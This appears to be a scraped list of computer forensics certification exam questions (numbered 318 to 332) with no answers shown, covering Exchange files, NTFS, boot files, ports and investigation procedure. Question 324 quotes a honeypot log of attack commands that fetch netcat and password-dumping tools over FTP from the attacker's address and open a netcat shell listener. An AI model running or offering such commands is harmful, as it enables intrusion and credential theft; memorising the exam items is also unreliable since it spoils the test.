NEW QUESTION 318
Adam, a forensic investigator, is investigating an attack on Microsoft Exchange Server of a large organization.
As the first step of the investigation, he examined the PRIV.EDB file and found the source from where the mail originated and the name of the file that disappeared upon execution. Now, he wants to examine the MIME stream content. Which of the following files is he going to examine?

NEW QUESTION 319
Which of the following reports are delivered under oath to a board of
directors/managers/panel of jury?

NEW QUESTION 320
You are a computer forensics investigator working with local police department and you are called to assist in an investigation of threatening emails. The complainant has printer out 27 email messages from the suspect and gives the printouts to you. You inform her that you will need to examine her computer because you need access to the _________________________ in order to track the emails back to the suspect.

NEW QUESTION 321
An investigator is analyzing a checkpoint firewall log and comes across symbols. What type of log is he looking at?

NEW QUESTION 322
Identify the file system that uses $BitMap file to keep track of all used and unused clusters on a volume.

NEW QUESTION 323
You are using DriveSpy, a forensic tool and want to copy 150 sectors where the starting sector is 1709 on the primary hard drive. Which of the following formats correctly specifies these sectors?

NEW QUESTION 324
The following excerpt is taken from a honeypot log that was hosted at
lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File
Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
“cmd1.exe /c open 213.116.251.162 >ftpcom”
“cmd1.exe /c echo johna2k >>ftpcom”
“cmd1.exe /c echo haxedj00 >>ftpcom”
“cmd1.exe /c echo get nc.exe >>ftpcom”
“cmd1.exe /c echo get pdump.exe >>ftpcom”
“cmd1.exe /c echo get samdump.dll >>ftpcom”
“cmd1.exe /c echo quit >>ftpcom”
“cmd1.exe /c ftp -s:ftpcom”
“cmd1.exe /c nc -l -p 6969 -e cmd1.exe”
What can you infer from the exploit given?

NEW QUESTION 325
What file is processed at the end of a Windows XP boot to initialize the logon dialog box?

NEW QUESTION 326
Physical security recommendations: There should be only one entrance to a forensics lab.

NEW QUESTION 327
In conducting a computer abuse investigation you become aware that the suspect of the investigation is using ABC Company as his Internet Service Provider (ISP). You contact ISP and request that they provide you assistance with your investigation. What assistance can the ISP provide?

NEW QUESTION 328
You just passed your ECSA exam and are about to start your first consulting job running security audits for a financial institution in Los Angeles. The IT manager of the company you will be working for tries to see if you remember your ECSA class. He asks about the methodology you will be using to test the company’s network.
How would you answer?

NEW QUESTION 329
What TCP/UDP port does the toolkit program netstat use?

NEW QUESTION 330
Cyber-crime is defined as any Illegal act involving a gun, ammunition, or its applications.

NEW QUESTION 331
POP3 is an Internet protocol, which is used to retrieve emails from a mail server. Through which port does an email client connect with a POP3 server?

NEW QUESTION 332
Which of the following protocols allows non-ASCII files, such as video, graphics, and audio, to be sent through the email messages?